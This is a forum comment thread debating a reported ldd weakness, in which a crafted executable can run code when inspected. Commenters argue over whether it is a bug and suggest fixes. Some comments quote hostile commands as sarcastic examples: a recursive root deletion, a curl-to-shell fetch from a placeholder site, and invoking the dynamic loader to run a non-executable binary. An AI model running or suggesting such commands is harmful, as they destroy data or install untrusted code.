Arbitrary Code Execution With "ldd"
pkrumins writes "The ldd utility is more vulnerable than you think. It's frequently used by programmers and system administrators to determine the dynamic library dependencies of executables. Sounds pretty innocent, right? Wrong! It turns out that running ldd on an executable can result in executing arbitrary code. This article details how such executable can be constructed and comes up with a social engineering scenario that may lead to system compromise. I researched this subject thoroughly and found that it's almost completely undocumented."
Sounds like someone needs to make LDD not capable of executing arbitrary code then =] /captainobvious
Fetch me my tinfoil hat!
-1, Disagree is not a valid option. Troll, Flamebait and Offtopic are not a substitute.
If you had read the article closely you would understand that the bug is not in ldd, it is in the dynamic loader.
In Windows, we avoid this vulnerability by giving you absolutely no fricking clue what dependencies exist for any given DLL. Suck that Unix fanboys!
See my journal for slashdot ID's by year. Mine created in 2005. http://slashdot.org/journal/289875/slashdot-ids-by-year
'I researched this subject thoroughly and found that it's almost completely undocumented'.
Did the thorough research include a Google search for 'ldd security'?
My thorough (3 minute research) turned up this tidbit from TLDP:
Beware: do not run ldd on a program you don't trust. As is clearly stated in the ldd(1) manual, ldd works by (in certain cases) by setting a special environment variable (for ELF objects, LD_TRACE_LOADED_OBJECTS) and then executing the program. It may be possible for an untrusted program to force the ldd user to run arbitrary code (instead of simply showing the ldd information). So, for safety's sake, don't use ldd on programs you don't trust to execute.
Damn,
Asking the user to install dancing_bunnies was too easy for this guy, he wants to ask the user to ldd dancing_bunnies to activate the malware.
Could as well ask the user to ACTIVATE_MALWARE=1 dancing_bunnies or LD_PRELOAD=dancing_bunnies.so your_app for letting the user running the malware from any your_app he likes.
I have discovered a truly marvelous proof of killer sig, which this margin is too narrow to contain.
On one hand that is a cool little hack. But on the other hand, so what? How many cases occur where even with social engineering will someone run ldd but not run the executable? E.g. In the example most sysadmins would run the program itself anyway
Test your net with Netalyzr
So, firstly, don't run ldd as root. (I use sudo, so no issues there.)
Secondly, don't use ldd on untrusted binaries. If you don't trust it why are you trying to run it? I suppose this is useful to see if the attacker is being really obvious and dynamically linking to net-code in a program that shouldn't need net, but other than that I don't see where this is going to be a serious problem, except in the case where you have a direct line to your sysadmin, but if that's the case there are probably a dozen different ways you can trick him into running arbitrary code, not the least of which is "hey, can you install this for me? I need it to get x done." If you're intelligent enough to hack a binary, I think you're intelligent enough that you can come up with a plausible reason your admin should install something you compiled yourself.
This is really nasty.
Even running the binary as nobody may get you into trouble if you are running under X because the rogue code can talk to your X server.
And of course the rogue code could print out its own prompt and fool you into thinking that you are typing at the shell. In this case you get owned when you type su and subsequently type your root password into the rogue code. You'd have to carefully inspect your running processes to not get fooled by this trick.
Maybe the answer is for ldd to use a sandbox.
...I'm sure someone will find some other vulnerability.
It'd be nice if the author made it more clear what OS this is claimed to apply to. For example, Solaris 10 has /usr/bin/ldd as an ELF. I don't have my HP-UX or AIX test systems handy, nevermind recent releases of RHEL.
Also, what efforts has the coder gone to in order to notify the appropriate security groups so that a fix can be produced quickly? I'm not disputing the potential security issues, but there is a reason for first disclosing to a vendor on non-public channels. Give the vendor/coder the chance to do the right thing and produce a fix.
"I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
Actually, no. The bug is NOT in the dynamic loader. In particular, when the exploiting executable specifies a different dynamic loader in the binary interpreter field, then the system dynamic loader is not even involved.
RTFA again. The exploit involves using a different dynamic loader. The evil person has made a fake loader that does the evil deed. That's NOT a bug, since it does what he (the evil person) wanted.
The bug is ... at least partly ... in the /usr/bin/ldd script. The real source of the bug is in the thinking that every dynamic loader would do this and that no dynamic loader that failed to would ever be used. That's saying that the design of doing it this way is what is buggy.
There are some possible fixes. One fix is to make a program to replace /usr/bin/ldd that understand by itself how to parse and interpret all executables. That might be done best via a new flag on the dynamic linker or dynamic loader programs. This needs to work for all executable formats the system might need to work with. Another fix is to provide for a list of allowed (trusted) dynamic loaders that would be enforced most likely by the kernel. That list could be managed via a /proc entry that can only be written/appended to by root (and uses a built-in list prepared when the kernel was compiled, whenever that /proc entry list is empty).
now we need to go OSS in diesel cars
I researched this subject thoroughly and found that it's almost completely undocumented.'
Is this the new way to say "I checked it out and it's legit!"
Trying to use sarcasm in text-based forums does not work.
... the Windows way, since 1981.
now we need to go OSS in diesel cars
I researched this subject thoroughly and found that it's almost completely undocumented.
Completely undocumented... <CARUSO NAME="david" STYLE="csi/miami" SHADES="true"> ...until now. </CARUSO>
YEAAAAAAAAAH!
Informatus Technologicus
...and here it is.
If an ELF binary doesn't have execute permissions and you can't just set them, /lib/ld*.so will run it anyway.
Some security hacks work by making the exec syscall return an error. A sufficiently clever binary can just map ld.so and the app into itself and effectively execute anyway. Of course this won't honor setuid but it also won't remove capabilities that have been marked not permitted for the target binary.
readelf -d
Seems to me it would be easier to convince my sysadmin to simply run a program of my choice.
This would be an interesting to include in a released program. The rate of infection will be low, but those infected are likely to be admins and power users. It would also provide some deniability. "I didn't change the loader! What does that even mean?"
Uh, yeah. Godmode ftw. Who else didn't see this coming?
http://web.archive.org/web/20050211210119/http://reverse.lostrealm.com/protect/ldd.html
Actually, that is wrong. Dependency Walker can, if you order it to, execute arbitrary code. It has to, because otherwise you could never have the profiling feature that enables you to hunt for hidden run-time dependencies.
cp /bin/bash /tmp
chmod -x /tmp/bash
/lib/ld-linux.so.2 /tmp/bash
runs /tmp/bash anyway
They should rename it iddqd in honour of this new feature.
Mod parent down immediately! The feeble minds of Linux users are at stake!
The problem is that we're running a compromised executable. Once someone can get that into the system, it's over. Now it sounds like ldd is being used here possibly for increased privileges, but that's all. The real challenge is getting someone a compromised executable.
But here are some even simpler social engineering ideas:
* tell people to replace /bin/sh with a binary you send them in the mail
* tell people to type sudo rm -rf /*
* tell people to type "curl http://yoursite.com/hack | /bin/sh"
... but not much else. The potential code-execution is a surprising behavior, that nonetheless is not that critical.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
Why is this a troll? Pointing out an area where Windows is actually superior to something else shouldn't get modded down.
In other news, "nice" is considered dangerous because when you run nice with the command line parameter of a program, it executes the program! And crond. And at. And sudo. And bash. And a million script files.
This isn't shocking, it's stupid. Possibly slightly unexpected if you're a new admin, that's about it.
Linux's executable loader allows users to run code that may be malicious. Let's contact with our correspondent, Captain Obvious...
Well, part of the answer is to use a sandbox. But you have to use the right sandbox.
What I recommend to friends and family is to simply use a Live-CD for transactions which really have to be secure. It's not flawless, but it's lightyears ahead of using a read/write medium like your normal setup.
Even if the system is compromised, all they have to do is to reboot, and they are exactly back to where they started.
This is documented, and in multiple places. My Program Library HOWTO, section "Shared Libraries", says the following, and it's dated in 2000: "Beware: do not run ldd on a program you don't trust. As is clearly stated in the ldd(1) manual, ldd works by (in certain cases) by setting a special environment variable (for ELF objects, LD_TRACE_LOADED_OBJECTS) and then executing the program. It may be possible for an untrusted program to force the ldd user to run arbitrary code (instead of simply showing the ldd information). So, for safety's sake, don't use ldd on programs you don't trust to execute." Now I'd agree that it would better if ldd were changed to NOT do this. If the result of this article is a change in its code to not do this, that would be a great result. But it's simply not true that this is undocumented.
- David A. Wheeler (see my Secure Programming HOWTO)
This is an obvious rip off of already available information, e.g.
# Security says:
October 26th, 2009 at 6:51 pm
This is an obvious copy of http://reverse.lostrealm.com/protect/ldd.html
# Security says:
October 26th, 2009 at 6:52 pm
Including this information from Debian (Feb 2009):
Debian Bug report logs - #514408 /usr/bin/ldd: ldd manpage fails to mention security implications
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514408
The are many projects which try to handle this issues, like
gcc hardening
selinux
and other security kernel patches
I've had the full source code for "ldd" on my linux box for the past thirteen years... What good has that done in this case?
The good that it has done is that the author of this article DID have access to the source, analyzed it, found a vulnerability and now you, me or anyone else can (and no doubt will) patch it.
Right, but this trait of ldd has been around for ages. From some of the accounts around here it seems like it was actually a reasonably well-known problem. Those who wanted to exploit this issue for fun or profit have most likely been happily doing so, while those under-educated like myself who weren't aware of it could have been vulnerable to it.
With the way this thing works I'm not sure it will be fixed, at least not any time soon. "ldd" is relying upon the executable itself to report its own dependencies: when followed as a convention in a friendly environment, this is fine... In a potentially hostile environment this could be a real problem. To solve it without fundamentally changing how "ldd" works requires either education (helping people to recognize the dangers and limitations of "ldd") or else protected-environment facilities, like process jails. (If "ldd", functioning as it does, were run such that it couldn't open network connections, couldn't write to the disk, etc. then there'd be little danger of an exploit...)
The point of the source being available isn't that you personally need to look through every line of code that your system executes, but rather that it is made available to anyone to analyze for security, efficiency, correctness, etc. instead of being locked up in a vault somewhere.
This boils down to relying upon "someone else" to do the work and provide me with the useful information that results from the process... The problem with that is that most other folks are also relying upon "someone else" to do this work...
Don't get me wrong, I agree with the principle of having this information out in the open. But in this case, pragmatically speaking, this appears not to have accomplished anything. How long has this problem existed? How long have people known about this? (For quite a while, it seems...) And still, there is barely even a trace of a mention of it in the manual. "Don't use this on code you don't trust" would be quite a prudent addition, I think...
Given that this issue (I hesitate to call it a "bug" - you could think of it as a bug, but it's kind of fundamental to the way ldd works... I think of it more as a fundamental miscommunication of ldd's applicability) has been around so long and hasn't been fixed, isn't mentioned in the docs, etc., I would say any complains about the Windows equivalent being closed source are rather silly in this case: the open model hasn't worked better here.
Bow-ties are cool.
This OS has too many features. How should anyone remember all of them?
The same is true of hardware. The manpage is much more difficult to come by for audio, video, and network cards.
the NPG electrode was replaced with carbon blac
This is the kind of stuff you get.
Any exploit that requires a local shell is 'Zzzzzzz'.
And something as contrived as getting root by social engineering someone to use ldd.. Is that so much easier than just kidnapping the system admins family and exchanging them for the root password? C'mon. Work for it.
OpenBSD normally fixes stuff ~6 months before most vendors, are they vulnerable to this attack?
If you ignore ACs because they are anonymous - you're an idiot.
My ldd is not a script but an executable under SUSE. It seems to have slightly different behavior than described in the article. I did not completely replicate the "attack" part of this, but I have doubts as to current viability on this.
TFA said that BSD also had a compiled C program as its "ldd", but I don't think they actually tested it...
My Debian machine has a script as /usr/bin/ldd, and according to the man page, "very old a.out executables" predating the addition of ldd support to a.out in the compiler would result in the executable being run with no arguments (more or less what the article describes...) Of course, this isn't just limited to a.out executables - that bug note is just one symptom of the problem described in the article. The a.out program lacks explicit support for $LD_TRACE_LOADER_OBJECTS, so running ldd simply runs the program. (I think that may not apply to my copy of ldd - I think /usr/bin/ldd on my system errors out if the executable is not ELF or not dynamically linked) You can do the same in ELF - you just need to arrange for the normal dynamic linker code for the executable to not run...
If it's true that these compiled versions of ldd do obtain the linkage information without running code in the executable to get it, I'd love to learn the details. Personally I expect they work more or less the same as the script - but I haven't tested them either, of course...
Bow-ties are cool.
and I mainly use Windows these days...but this seems like a none issue. If someone can get their executable on your system, I'm sure that they can come up with a better way of running it than having you ldd it. I mean, the fact that it's there means that you've downloaded untrustworthy software and are probably just going to run whatever it is anyway, and probably as root if it asks for it.
Don't take life so seriously. No one makes it out alive.
It's not a bug, it's a design flaw. ldd has always worked by executing the target file under certain circumstances; I'm sure this used to be better documented.
I think it's equally awkward to call this a "bug" as to call it "not a bug"... Regardless, I think it's something that ought to be fixed.
The "fix" could take many forms. Better documentation, as you suggested, would be prudent. Making ldd operate within a protected environment (like a jail) would be another... Or - and this is perhaps the sweet spot in terms of what we'd gain vs. what we'd have to pay - as someone else mentioned, provide ldd with a system-wide list of "admin-approved" dynamic loaders, and make it refuse to run any dynamic loader not on that list.
Bow-ties are cool.
"In other words, he wants to take any program installed on his real machine and say "run this in a virtual environment cloned from my existing real environment"."
It seems to me this is exactly the sort of capability that should be a basic fundamental thing that an OS does. Instead of being a big ball of soup that lets pretty much any program write anywhere, and then tries to impose security reactively over the top. It should start out with '1. Every process can be a full machine or system/network equivalent, 2. Processes can be arbitrarily small or arbitrarily large, 3. No process can overwrite any other process without permission' and see where we get from there.
Of course that would give us an architecture very unlike Unix - maybe a little like Plan 9 - so a lot of redesign is in order, but I think the prevalence of virtual machines as an ad-hoc, coarse-grained solution should be telling us that our foundations are a little crooked.
If nothing else, sticking an unsafe executable into a virtual machine makes it relatively easy to make sure the program doesn't do anything nasty. The VM implementation (whether this is a bytecode interpreter like Java VM or a self-virtualizing processor solution like VMWare, etc.) acts as a convenient checkpoint for anything the program might attempt to do. In other words, rather than starting with a system with many unrestricted resources (network connections, disk space, webcam, microphone, etc.) and having to block them one by one, the VM causes all these things to be effectively blocked by default - and each resource must be individually re-enabled.
It seems to me that operating systems already implement the three things you suggested. Well, except #1, I'm not even sure what that means... :) But #2 and #3 are at the core of any decent OS shipped today. In order to do any damage, a process needs the right privileges. So really I'm not sure what you're talking about, here.
Even under those circumstances, however, there are a couple problems. First, a program doesn't need any special privileges to access the network (that itself is perhaps something that should be fixed...). Second, because people may think "ldd" is harmless, they may be fooled into running it with sufficient privileges to do some real damage... And, of course, even if you do run a program once and it doesn't do any damage, there's no guarantee it won't do something nasty the next time. :)
As a Linux user I am rather envious of the BSD "jail" mechanism - I think that kind of facility, the ability to broadly restrict what a particular program can do when you invoke it - could be really useful.
Bow-ties are cool.
Since when is the user executing arbitrary code a bug?
The attack vector requires that the user install and run something that is bad to start with. If you can do that, you've already done what you need to do.
Yes, you can trick someone into running bad code with this, you could just as easy replace any code they are going to run or use LD_PRELOAD.
To exploit this, you've already be compromised somehow.
The fix? Signed binaries and only allowing trusted code to run on the system.
If you're worried about this, you really don't have a very good grasp on security of operating systems in general.
Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
Presumably, one puts a binary on their system because they intend to execute it. In fact one mainly uses ldd after executing a program, and getting a missing library message.
If ldd was a virus scanner, this would be a big deal. But come on, accepting a binary from an untrusted source onto your system is asking for it, even if ldd didn't do this.
Doc Brown called, he wants his DeLorean back. Forward. Returned to its original timeline.
Hey, man - I found it abandoned in a cave! I salvaged it, fair and square! If he wants it back he's gonna have to make it worth my while.
Bow-ties are cool.
If some one says his program cannot work, one should test it with his user-id, not root
Arbitrary code execution? As opposed to executing the program you're trying to execute in the first place?
Normal use of ldd is something like:
$ ./some_program ./some_program
Some library not found
$ ldd
ldd is used to figure out why a program doesn't run, and is not going to run any "arbitrary code", that couldn't run when trying to run the program in the first place.
> so I don't wind up running things that don't (like ldd) as root."
But how does that help "Mr/Ms Desktop User"?
Most of Desktop User's "crown jewels" would be in the home directory, and even if it's not it would be fully accessible by the arbitrary code and subsequently installed malware since it would be running using "Desktop User"'s account.
The arbitrary code executed does not need root to turn the machine into a zombie and then execute other code, send spam, DDoS stuff, etc.
This fixation on "not getting root means I'm safe" is WRONG!
As long as we are using the current primitive privilege systems, it's not safe. Windows does allow some sandboxing, but there's a lot of room for improvement. Desktop Linux? There's SELinux and AppArmor, you're welcome to figure out how to make either/both "desktop ready".
It doesn't appear to be unintentional that ldd executes "arbitrary" code. It's perfectly intentional. This program is designed to figure out what's needed to run a program (and missing), because you're ostensibly having problems running it. Launching the loader that the application claims to need, if it specifies a special one, would be necessary and intentional. After all, how can you troubleshoot missing dependencies if you're not using the environment the application needs?
It might be nice, though, if ldd prompted the user if the application asked for a non-standard loader.
Things this "vulnerability" doesn't do: escalate privileges. It can't do anything the user can't do. It also can't give a remote, unknown user any level of access to a machine. It really does nothing at all except possibly give an end-user the means to potentially "steal" escalated privileges from a sysadmin through dishonest tactics. It can therefore be assumed that the user does have physical access to the machine in question, has some level of privileges, and is someone who should probably be fired or expelled because they're abusing company/school/government property.